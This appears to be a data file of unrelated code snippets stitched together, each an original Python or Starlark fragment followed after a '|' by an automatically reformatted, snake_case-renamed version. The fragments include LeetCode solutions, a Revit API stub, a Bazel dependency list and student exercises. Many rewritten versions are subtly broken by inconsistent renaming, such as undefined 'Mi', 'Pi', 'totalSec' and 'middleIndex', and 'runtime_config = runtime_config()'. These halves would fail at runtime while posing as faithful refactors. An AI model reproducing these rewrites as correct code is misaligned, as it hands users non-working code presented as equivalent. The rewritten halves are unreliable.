archive_contents_test(name='{}_swift_generates_header_test'.format(name), build_type='simulator', compilation_mode='opt', target_under_test='//test/starlark_tests/targets_under_test/apple:ios_swift_xcframework_with_generated_header', contains=['$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftdoc', '$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftinterface', '$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h', '$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap', '$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc', '$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface'], tags=[name])
native.test_suite(name=name, tags=[name]) |
ROMAN_TO_INT = {
'I': 1,
'V': 5,
'X': 10,
'L': 50,
'C': 100,
'D': 500,
'M': 1000,
}
class Solution:
def recursive_roman_to_int(self, s):
"""
:type s: str
:rtype: int
"""
length = len(s)
if length == 0:
return 0
elif length == 1:
return ROMAN_TO_INT[s]
first, second = ROMAN_TO_INT[s[0]], ROMAN_TO_INT[s[1]]
if first >= second:
return first + self.romanToInt(s[1:])
else:
return (second - first) + self.romanToInt(s[2:])
romanToInt = recursive_roman_to_int
| roman_to_int = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}
class Solution:
def recursive_roman_to_int(self, s):
"""
:type s: str
:rtype: int
"""
length = len(s)
if length == 0:
return 0
elif length == 1:
return ROMAN_TO_INT[s]
(first, second) = (ROMAN_TO_INT[s[0]], ROMAN_TO_INT[s[1]])
if first >= second:
return first + self.romanToInt(s[1:])
else:
return second - first + self.romanToInt(s[2:])
roman_to_int = recursive_roman_to_int |
def generate_matrix(n):
results = [[0 for i in range(n)] for i in range(n)]
left = 0
right = n - 1
up = 0
down = n - 1
current_num = 1
while left < right and up < down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
for i in range(up + 1, down + 1):
results[i][right] = current_num
current_num += 1
for i in reversed(range(left, right)):
results[down][i] = current_num
current_num += 1
for i in reversed(range(up + 1, down)):
results[i][left] = current_num
current_num += 1
left += 1
right -= 1
up += 1
down -= 1
if up == down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
elif left == right:
for i in range(up, down + 1):
results[i][left] = current_num
current_num += 1
return results
if __name__ == '__main__':
n_ = 4
results_ = generate_matrix(n_)
for row in results_:
print(row)
| def generate_matrix(n):
results = [[0 for i in range(n)] for i in range(n)]
left = 0
right = n - 1
up = 0
down = n - 1
current_num = 1
while left < right and up < down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
for i in range(up + 1, down + 1):
results[i][right] = current_num
current_num += 1
for i in reversed(range(left, right)):
results[down][i] = current_num
current_num += 1
for i in reversed(range(up + 1, down)):
results[i][left] = current_num
current_num += 1
left += 1
right -= 1
up += 1
down -= 1
if up == down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
elif left == right:
for i in range(up, down + 1):
results[i][left] = current_num
current_num += 1
return results
if __name__ == '__main__':
n_ = 4
results_ = generate_matrix(n_)
for row in results_:
print(row) |
class RuntimeConfig:
def __init__(self):
self.items = {}
def add_item(self, item: dict):
"""
Add an item to the runtime config
"""
self.items.update(item)
def get(self, key: str):
"""
Get specific item from config. Returns None if key doesn't exist.
"""
return self.items.get(key, None)
def get_all(self) -> dict:
"""
Return all items from runtime config
"""
return self.items
runtime_config = RuntimeConfig()
| class Runtimeconfig:
def __init__(self):
self.items = {}
def add_item(self, item: dict):
"""
Add an item to the runtime config
"""
self.items.update(item)
def get(self, key: str):
"""
Get specific item from config. Returns None if key doesn't exist.
"""
return self.items.get(key, None)
def get_all(self) -> dict:
"""
Return all items from runtime config
"""
return self.items
runtime_config = runtime_config() |
# Copyright 2017-2022 Lawrence Livermore National Security, LLC and other
# Hatchet Project Developers. See the top-level LICENSE file for details.
#
# SPDX-License-Identifier: MIT
dot_keywords = ["graph", "subgraph", "digraph", "node", "edge", "strict"]
| dot_keywords = ['graph', 'subgraph', 'digraph', 'node', 'edge', 'strict'] |
price_of_one_shovel, denomination_of_special_coin = map(int, input().split())
number_of_coins = 0
while True:
number_of_shovels1 = (10 * number_of_coins + denomination_of_special_coin) / price_of_one_shovel
number_of_shovels2 = 10 * (number_of_coins + 1) / price_of_one_shovel
if number_of_shovels1 % 1 == 0:
print(int(number_of_shovels1))
break
elif number_of_shovels2 % 1 == 0:
print(int(number_of_shovels2))
break
else:
number_of_coins += 1
| (price_of_one_shovel, denomination_of_special_coin) = map(int, input().split())
number_of_coins = 0
while True:
number_of_shovels1 = (10 * number_of_coins + denomination_of_special_coin) / price_of_one_shovel
number_of_shovels2 = 10 * (number_of_coins + 1) / price_of_one_shovel
if number_of_shovels1 % 1 == 0:
print(int(number_of_shovels1))
break
elif number_of_shovels2 % 1 == 0:
print(int(number_of_shovels2))
break
else:
number_of_coins += 1 |
# BSD 3-Clause License
#
# Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the psutil authors nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
def get_patrickstar_config(
args, lr=0.001, betas=(0.9, 0.999), eps=1e-6, weight_decay=0
):
config = {
# The same format as optimizer config of DeepSpeed
# https://www.deepspeed.ai/docs/config-json/#optimizer-parameters
"optimizer": {
"type": "Adam",
"params": {
"lr": lr,
"betas": betas,
"eps": eps,
"weight_decay": weight_decay,
"use_hybrid_adam": args.use_hybrid_adam,
},
},
"fp16": {
"enabled": True,
# Set "loss_scale" to 0 to use DynamicLossScaler.
"loss_scale": 0,
"initial_scale_power": args.init_loss_scale_power,
"loss_scale_window": 1000,
"hysteresis": 2,
"min_loss_scale": 1,
},
"default_chunk_size": args.default_chunk_size,
"release_after_init": args.release_after_init,
"use_fake_dist": args.use_fake_dist,
"use_cpu_embedding": args.use_cpu_embedding,
"client": {
"mem_tracer": {
"use_async_mem_monitor": args.with_async_mem_monitor,
"warmup_gpu_chunk_mem_ratio": 0.1,
"overall_gpu_mem_ratio": 0.9,
"overall_cpu_mem_ratio": 0.9,
"margin_use_ratio": 0.8,
"use_fake_dist": False,
"with_static_partition": args.with_static_partition,
},
"opts": {
"with_mem_saving_comm": args.with_mem_saving_comm,
"with_mem_cache": args.with_mem_cache,
"with_async_move": args.with_async_move,
},
},
}
return config
| def get_patrickstar_config(args, lr=0.001, betas=(0.9, 0.999), eps=1e-06, weight_decay=0):
config = {'optimizer': {'type': 'Adam', 'params': {'lr': lr, 'betas': betas, 'eps': eps, 'weight_decay': weight_decay, 'use_hybrid_adam': args.use_hybrid_adam}}, 'fp16': {'enabled': True, 'loss_scale': 0, 'initial_scale_power': args.init_loss_scale_power, 'loss_scale_window': 1000, 'hysteresis': 2, 'min_loss_scale': 1}, 'default_chunk_size': args.default_chunk_size, 'release_after_init': args.release_after_init, 'use_fake_dist': args.use_fake_dist, 'use_cpu_embedding': args.use_cpu_embedding, 'client': {'mem_tracer': {'use_async_mem_monitor': args.with_async_mem_monitor, 'warmup_gpu_chunk_mem_ratio': 0.1, 'overall_gpu_mem_ratio': 0.9, 'overall_cpu_mem_ratio': 0.9, 'margin_use_ratio': 0.8, 'use_fake_dist': False, 'with_static_partition': args.with_static_partition}, 'opts': {'with_mem_saving_comm': args.with_mem_saving_comm, 'with_mem_cache': args.with_mem_cache, 'with_async_move': args.with_async_move}}}
return config |
# https://leetcode.com/problems/defanging-an-ip-address/
'''
"1.1.1.1"
"1[.]1[.]1[.]1"
"255.100.50.0"
"255[.]100[.]50[.]0"
'''
def defang_ip_address(address):
address_chars_list = []
for char in address:
if char == '.':
address_chars_list.append('[.]')
else:
address_chars_list.append(char)
return ''.join(address_chars_list)
data_tests = [
("1.1.1.1", "1[.]1[.]1[.]1"),
("255.100.50.0", "255[.]100[.]50[.]0")
]
for address, expected in data_tests:
result = defang_ip_address(address)
print(result, result == expected)
| """
"1.1.1.1"
"1[.]1[.]1[.]1"
"255.100.50.0"
"255[.]100[.]50[.]0"
"""
def defang_ip_address(address):
address_chars_list = []
for char in address:
if char == '.':
address_chars_list.append('[.]')
else:
address_chars_list.append(char)
return ''.join(address_chars_list)
data_tests = [('1.1.1.1', '1[.]1[.]1[.]1'), ('255.100.50.0', '255[.]100[.]50[.]0')]
for (address, expected) in data_tests:
result = defang_ip_address(address)
print(result, result == expected) |
print("How old are you?",end=' ')
age =input()
print("How tell are you?",end=' ')
height =input()
print("How much do you weight?",end=' ')
weight =input()
print("So, you're %r old, %r tall and %r heavy."%(age, height, weight))
| print('How old are you?', end=' ')
age = input()
print('How tell are you?', end=' ')
height = input()
print('How much do you weight?', end=' ')
weight = input()
print("So, you're %r old, %r tall and %r heavy." % (age, height, weight)) |
iterable = [1,2,3]
iterator = iter(iterable)
print( next(iterator) )
print( next(iterator) )
print( next(iterator) ) | iterable = [1, 2, 3]
iterator = iter(iterable)
print(next(iterator))
print(next(iterator))
print(next(iterator)) |
fname = input('Enter the file name: ')
try:
fhand = open(fname)
except:
print('File cannot be opened:', fname)
exit()
lineslist=[]
emaildict={}
for line in fhand:
lineslist = line.split()
if line.startswith('From '):
email=lineslist[1]
if email not in emaildict:
emaildict[email] = 1
else:
emaildict[email] += 1
print (emaildict) | fname = input('Enter the file name: ')
try:
fhand = open(fname)
except:
print('File cannot be opened:', fname)
exit()
lineslist = []
emaildict = {}
for line in fhand:
lineslist = line.split()
if line.startswith('From '):
email = lineslist[1]
if email not in emaildict:
emaildict[email] = 1
else:
emaildict[email] += 1
print(emaildict) |
"""
mujer--> m-->int
hombre--> h-->int
"""
#entradas
m=int(input("Colocar cantidad de hombres "))
h=int(input("Colocar cantidad de mujeres "))
#Caja negra
p=(m+h)
Mi=(m*100)/p
Pi=(h*100)/p
#Salida
print("El promedio de mujeres es: ", Mi,"%")
print("El promedio de hombres: ", Pi,"%")
| """
mujer--> m-->int
hombre--> h-->int
"""
m = int(input('Colocar cantidad de hombres '))
h = int(input('Colocar cantidad de mujeres '))
p = m + h
mi = m * 100 / p
pi = h * 100 / p
print('El promedio de mujeres es: ', Mi, '%')
print('El promedio de hombres: ', Pi, '%') |
"""Put your shared fixtures here.
They will be automatically shared between all tests.
"""
| """Put your shared fixtures here.
They will be automatically shared between all tests.
""" |
print("Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n")
base = int(input("Enter the length of the base: "))
height = int(input("Enter the length of the height: "))
print("The area of the triangle is:", 0.5 * base * height) | print('Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n')
base = int(input('Enter the length of the base: '))
height = int(input('Enter the length of the height: '))
print('The area of the triangle is:', 0.5 * base * height) |
def determineTime(arr):
totalSec = 0
for a in arr:
(h, m, s) = a.split(':')
totalSec += (int(h) * 3600 + int(m) * 60 + int(s))
return (24 * 60 * 60) > totalSec | def determine_time(arr):
total_sec = 0
for a in arr:
(h, m, s) = a.split(':')
total_sec += int(h) * 3600 + int(m) * 60 + int(s)
return 24 * 60 * 60 > totalSec |
class Solution(object):
def defangIPaddr(self, address):
"""
:type address: str
:rtype: str
"""
# Runtime: 16 ms
# Memory: 13.1 MB
return address.replace(".", "[.]")
| class Solution(object):
def defang_i_paddr(self, address):
"""
:type address: str
:rtype: str
"""
return address.replace('.', '[.]') |
# average of elements:
def average():
list_numbers = [25, 45, 12, 45, 85, 25]
print("This is the given list of numbers: ")
print(list_numbers)
total = 0
for i in list_numbers:
total += i
total /= len(list_numbers)
print(f"The average of the numbers are: {total}")
average()
| def average():
list_numbers = [25, 45, 12, 45, 85, 25]
print('This is the given list of numbers: ')
print(list_numbers)
total = 0
for i in list_numbers:
total += i
total /= len(list_numbers)
print(f'The average of the numbers are: {total}')
average() |
class EnergyAnalysisOpening(Element,IDisposable):
""" Analytical opening. """
def Dispose(self):
""" Dispose(self: Element,A_0: bool) """
pass
def GetAnalyticalSurface(self):
"""
GetAnalyticalSurface(self: EnergyAnalysisOpening) -> EnergyAnalysisSurface
Gets the associative analytical parent surface element.
Returns: The associative analytical parent surface element.
"""
pass
def getBoundingBox(self,*args):
""" getBoundingBox(self: Element,view: View) -> BoundingBoxXYZ """
pass
def GetPolyloop(self):
"""
GetPolyloop(self: EnergyAnalysisOpening) -> Polyloop
Gets the planar polygon describing the opening geometry.
"""
pass
def ReleaseUnmanagedResources(self,*args):
""" ReleaseUnmanagedResources(self: Element,disposing: bool) """
pass
def setElementType(self,*args):
""" setElementType(self: Element,type: ElementType,incompatibleExceptionMessage: str) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
CADLinkUniqueId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique id of the originating CAD object's link (linked document) associated with this opening.
Get: CADLinkUniqueId(self: EnergyAnalysisOpening) -> str
"""
CADObjectUniqueId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique id of the originating CAD object (model element) associated with this opening.
Get: CADObjectUniqueId(self: EnergyAnalysisOpening) -> str
"""
Corner=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The lower-left coordinate for the analytical rectangular geometry viewed from outside.
Get: Corner(self: EnergyAnalysisOpening) -> XYZ
"""
Height=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The height of the analytical rectangular geometry.
Get: Height(self: EnergyAnalysisOpening) -> float
"""
OpeningId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique identifier for the opening.
Get: OpeningId(self: EnergyAnalysisOpening) -> str
"""
OpeningName=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique name identifier for the opening.
Get: OpeningName(self: EnergyAnalysisOpening) -> str
"""
OpeningType=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The analytical opening type.
Get: OpeningType(self: EnergyAnalysisOpening) -> EnergyAnalysisOpeningType
"""
OriginatingElementDescription=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The description for the originating Revit element.
Get: OriginatingElementDescription(self: EnergyAnalysisOpening) -> str
"""
Type=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The gbXML opening type attribute.
Get: Type(self: EnergyAnalysisOpening) -> gbXMLOpeningType
"""
Width=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The width of the analytical rectangular geometry.
Get: Width(self: EnergyAnalysisOpening) -> float
"""
| class Energyanalysisopening(Element, IDisposable):
""" Analytical opening. """
def dispose(self):
""" Dispose(self: Element,A_0: bool) """
pass
def get_analytical_surface(self):
"""
GetAnalyticalSurface(self: EnergyAnalysisOpening) -> EnergyAnalysisSurface
Gets the associative analytical parent surface element.
Returns: The associative analytical parent surface element.
"""
pass
def get_bounding_box(self, *args):
""" getBoundingBox(self: Element,view: View) -> BoundingBoxXYZ """
pass
def get_polyloop(self):
"""
GetPolyloop(self: EnergyAnalysisOpening) -> Polyloop
Gets the planar polygon describing the opening geometry.
"""
pass
def release_unmanaged_resources(self, *args):
""" ReleaseUnmanagedResources(self: Element,disposing: bool) """
pass
def set_element_type(self, *args):
""" setElementType(self: Element,type: ElementType,incompatibleExceptionMessage: str) """
pass
def __enter__(self, *args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self, *args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self, *args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
cad_link_unique_id = property(lambda self: object(), lambda self, v: None, lambda self: None)
"The unique id of the originating CAD object's link (linked document) associated with this opening.\n\n\n\nGet: CADLinkUniqueId(self: EnergyAnalysisOpening) -> str\n\n\n\n"
cad_object_unique_id = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The unique id of the originating CAD object (model element) associated with this opening.\n\n\n\nGet: CADObjectUniqueId(self: EnergyAnalysisOpening) -> str\n\n\n\n'
corner = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The lower-left coordinate for the analytical rectangular geometry viewed from outside.\n\n\n\nGet: Corner(self: EnergyAnalysisOpening) -> XYZ\n\n\n\n'
height = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The height of the analytical rectangular geometry.\n\n\n\nGet: Height(self: EnergyAnalysisOpening) -> float\n\n\n\n'
opening_id = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The unique identifier for the opening.\n\n\n\nGet: OpeningId(self: EnergyAnalysisOpening) -> str\n\n\n\n'
opening_name = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The unique name identifier for the opening.\n\n\n\nGet: OpeningName(self: EnergyAnalysisOpening) -> str\n\n\n\n'
opening_type = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The analytical opening type.\n\n\n\nGet: OpeningType(self: EnergyAnalysisOpening) -> EnergyAnalysisOpeningType\n\n\n\n'
originating_element_description = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The description for the originating Revit element.\n\n\n\nGet: OriginatingElementDescription(self: EnergyAnalysisOpening) -> str\n\n\n\n'
type = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The gbXML opening type attribute.\n\n\n\nGet: Type(self: EnergyAnalysisOpening) -> gbXMLOpeningType\n\n\n\n'
width = property(lambda self: object(), lambda self, v: None, lambda self: None)
'The width of the analytical rectangular geometry.\n\n\n\nGet: Width(self: EnergyAnalysisOpening) -> float\n\n\n\n' |
#!/usr/bin/env python
# pylint: disable=W0212
def limit(self, start_or_stop=None, stop=None, step=None):
"""
Create a new table with fewer rows.
See also: Python's builtin :func:`slice`.
:param start_or_stop:
If the only argument, then how many rows to include, otherwise,
the index of the first row to include.
:param stop:
The index of the last row to include.
:param step:
The size of the jump between rows to include. (`step=2` will return
every other row.)
:returns:
A new :class:`.Table`.
"""
if stop or step:
s = slice(start_or_stop, stop, step)
else:
s = slice(start_or_stop)
rows = self._rows[s]
if self._row_names is not None:
row_names = self._row_names[s]
else:
row_names = None
return self._fork(rows, row_names=row_names)
| def limit(self, start_or_stop=None, stop=None, step=None):
"""
Create a new table with fewer rows.
See also: Python's builtin :func:`slice`.
:param start_or_stop:
If the only argument, then how many rows to include, otherwise,
the index of the first row to include.
:param stop:
The index of the last row to include.
:param step:
The size of the jump between rows to include. (`step=2` will return
every other row.)
:returns:
A new :class:`.Table`.
"""
if stop or step:
s = slice(start_or_stop, stop, step)
else:
s = slice(start_or_stop)
rows = self._rows[s]
if self._row_names is not None:
row_names = self._row_names[s]
else:
row_names = None
return self._fork(rows, row_names=row_names) |
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "org_codehaus_plexus_plexus_archiver",
artifact = "org.codehaus.plexus:plexus-archiver:3.4",
artifact_sha256 = "3c6611c98547dbf3f5125848c273ba719bc10df44e3f492fa2e302d6135a6ea5",
srcjar_sha256 = "1887e8269928079236c9e1a75af5b5e256f4bfafaaed18da5c9c84faf5b26a91",
deps = [
"@commons_io_commons_io",
"@org_apache_commons_commons_compress",
"@org_codehaus_plexus_plexus_io",
"@org_codehaus_plexus_plexus_utils",
"@org_iq80_snappy_snappy"
],
runtime_deps = [
"@org_tukaani_xz"
],
)
import_external(
name = "org_codehaus_plexus_plexus_classworlds",
artifact = "org.codehaus.plexus:plexus-classworlds:2.5.2",
artifact_sha256 = "b2931d41740490a8d931cbe0cfe9ac20deb66cca606e679f52522f7f534c9fd7",
srcjar_sha256 = "d087c4c0ff02b035111bb72c72603b2851d126c43da39cc3c73ff45139125bec",
)
import_external(
name = "org_codehaus_plexus_plexus_component_annotations",
artifact = "org.codehaus.plexus:plexus-component-annotations:1.7.1",
artifact_sha256 = "a7fee9435db716bff593e9fb5622bcf9f25e527196485929b0cd4065c43e61df",
srcjar_sha256 = "18999359e8c1c5eb1f17a06093ceffc21f84b62b4ee0d9ab82f2e10d11049a78",
excludes = [
"junit:junit",
],
)
import_external(
name = "org_codehaus_plexus_plexus_container_default",
artifact = "org.codehaus.plexus:plexus-container-default:1.7.1",
artifact_sha256 = "f3f61952d63675ef61b42fa4256c1635749a5bc17668b4529fccde0a29d8ee19",
srcjar_sha256 = "4464c902148ed19381336e6fcf17e914dc895416953888bb049bdd4f7ef86b80",
deps = [
"@com_google_collections_google_collections",
"@org_apache_xbean_xbean_reflect",
"@org_codehaus_plexus_plexus_classworlds",
"@org_codehaus_plexus_plexus_utils"
],
)
import_external(
name = "org_codehaus_plexus_plexus_interpolation",
artifact = "org.codehaus.plexus:plexus-interpolation:1.24",
artifact_sha256 = "8fe2be04b067a75d02fb8a1a9caf6c1c8615f0d5577cced02e90b520763d2f77",
srcjar_sha256 = "0b372b91236c4a2c63dc0d6b2010e10c98b993fc8491f6a02b73052a218b6644",
)
import_external(
name = "org_codehaus_plexus_plexus_io",
artifact = "org.codehaus.plexus:plexus-io:2.7.1",
artifact_sha256 = "20aa9dd74536ad9ce65d1253b5c4386747483a7a65c48008c9affb51854539cf",
deps = [
"@commons_io_commons_io",
"@org_codehaus_plexus_plexus_utils"
],
)
import_external(
name = "org_codehaus_plexus_plexus_utils",
artifact = "org.codehaus.plexus:plexus-utils:3.1.0",
artifact_sha256 = "0ffa0ad084ebff5712540a7b7ea0abda487c53d3a18f78c98d1a3675dab9bf61",
srcjar_sha256 = "06eb127e188a940ebbcf340c43c95537c3052298acdc943a9b2ec2146c7238d9",
)
import_external(
name = "org_codehaus_plexus_plexus_velocity",
artifact = "org.codehaus.plexus:plexus-velocity:1.1.8",
artifact_sha256 = "36b3ea3d0cef03f36bd2c4e0f34729c3de80fd375059bdccbf52b10a42c6ec2c",
srcjar_sha256 = "906065102c989b1a82ab0871de1489381835af84cdb32c668c8af59d8a7767fe",
deps = [
"@commons_collections_commons_collections",
"@org_codehaus_plexus_plexus_container_default",
"@velocity_velocity"
],
)
| load('//:import_external.bzl', import_external='safe_wix_scala_maven_import_external')
def dependencies():
import_external(name='org_codehaus_plexus_plexus_archiver', artifact='org.codehaus.plexus:plexus-archiver:3.4', artifact_sha256='3c6611c98547dbf3f5125848c273ba719bc10df44e3f492fa2e302d6135a6ea5', srcjar_sha256='1887e8269928079236c9e1a75af5b5e256f4bfafaaed18da5c9c84faf5b26a91', deps=['@commons_io_commons_io', '@org_apache_commons_commons_compress', '@org_codehaus_plexus_plexus_io', '@org_codehaus_plexus_plexus_utils', '@org_iq80_snappy_snappy'], runtime_deps=['@org_tukaani_xz'])
import_external(name='org_codehaus_plexus_plexus_classworlds', artifact='org.codehaus.plexus:plexus-classworlds:2.5.2', artifact_sha256='b2931d41740490a8d931cbe0cfe9ac20deb66cca606e679f52522f7f534c9fd7', srcjar_sha256='d087c4c0ff02b035111bb72c72603b2851d126c43da39cc3c73ff45139125bec')
import_external(name='org_codehaus_plexus_plexus_component_annotations', artifact='org.codehaus.plexus:plexus-component-annotations:1.7.1', artifact_sha256='a7fee9435db716bff593e9fb5622bcf9f25e527196485929b0cd4065c43e61df', srcjar_sha256='18999359e8c1c5eb1f17a06093ceffc21f84b62b4ee0d9ab82f2e10d11049a78', excludes=['junit:junit'])
import_external(name='org_codehaus_plexus_plexus_container_default', artifact='org.codehaus.plexus:plexus-container-default:1.7.1', artifact_sha256='f3f61952d63675ef61b42fa4256c1635749a5bc17668b4529fccde0a29d8ee19', srcjar_sha256='4464c902148ed19381336e6fcf17e914dc895416953888bb049bdd4f7ef86b80', deps=['@com_google_collections_google_collections', '@org_apache_xbean_xbean_reflect', '@org_codehaus_plexus_plexus_classworlds', '@org_codehaus_plexus_plexus_utils'])
import_external(name='org_codehaus_plexus_plexus_interpolation', artifact='org.codehaus.plexus:plexus-interpolation:1.24', artifact_sha256='8fe2be04b067a75d02fb8a1a9caf6c1c8615f0d5577cced02e90b520763d2f77', srcjar_sha256='0b372b91236c4a2c63dc0d6b2010e10c98b993fc8491f6a02b73052a218b6644')
import_external(name='org_codehaus_plexus_plexus_io', artifact='org.codehaus.plexus:plexus-io:2.7.1', artifact_sha256='20aa9dd74536ad9ce65d1253b5c4386747483a7a65c48008c9affb51854539cf', deps=['@commons_io_commons_io', '@org_codehaus_plexus_plexus_utils'])
import_external(name='org_codehaus_plexus_plexus_utils', artifact='org.codehaus.plexus:plexus-utils:3.1.0', artifact_sha256='0ffa0ad084ebff5712540a7b7ea0abda487c53d3a18f78c98d1a3675dab9bf61', srcjar_sha256='06eb127e188a940ebbcf340c43c95537c3052298acdc943a9b2ec2146c7238d9')
import_external(name='org_codehaus_plexus_plexus_velocity', artifact='org.codehaus.plexus:plexus-velocity:1.1.8', artifact_sha256='36b3ea3d0cef03f36bd2c4e0f34729c3de80fd375059bdccbf52b10a42c6ec2c', srcjar_sha256='906065102c989b1a82ab0871de1489381835af84cdb32c668c8af59d8a7767fe', deps=['@commons_collections_commons_collections', '@org_codehaus_plexus_plexus_container_default', '@velocity_velocity']) |
# Solution 1
# O(n) time / O(1) space
def indexEqualsValue(array):
for index in range(len(array)):
value = array[index]
if index == value:
return index
return -1
# Solution 2 - recursion
# O(log(n)) time / O(log(n)) space
def indexEqualsValue(array):
return indexEqualsValueHelper(array, 0, len(array) -1)
def indexEqualsValueHelper(array, leftIndex, rightIndex):
if leftIndex > rightIndex:
return -1
middleIndex = leftIndex + (rightIndex - leftIndex) // 2
middleValue = array[middleIndex]
if middleValue < middleIndex:
return indexEqualsValueHelper(array, middleIndex + 1, rightIndex)
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
return indexEqualsValueHelper(array, leftIndex, middleIndex - 1)
# Solution 3 - iteration
# O(log(n)) time / O(1) space
def indexEqualsValue(array):
leftIndex = 0
rightIndex = len(array) - 1
while leftIndex <= rightIndex:
middleIndex = leftIndex + (rightIndex - leftIndex) // 2
middleValue = array[middleIndex]
if middleValue < middleIndex:
leftIndex = middleIndex + 1
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
rightIndex = middleIndex - 1
return -1
| def index_equals_value(array):
for index in range(len(array)):
value = array[index]
if index == value:
return index
return -1
def index_equals_value(array):
return index_equals_value_helper(array, 0, len(array) - 1)
def index_equals_value_helper(array, leftIndex, rightIndex):
if leftIndex > rightIndex:
return -1
middle_index = leftIndex + (rightIndex - leftIndex) // 2
middle_value = array[middleIndex]
if middleValue < middleIndex:
return index_equals_value_helper(array, middleIndex + 1, rightIndex)
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
return index_equals_value_helper(array, leftIndex, middleIndex - 1)
def index_equals_value(array):
left_index = 0
right_index = len(array) - 1
while leftIndex <= rightIndex:
middle_index = leftIndex + (rightIndex - leftIndex) // 2
middle_value = array[middleIndex]
if middleValue < middleIndex:
left_index = middleIndex + 1
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
right_index = middleIndex - 1
return -1 |
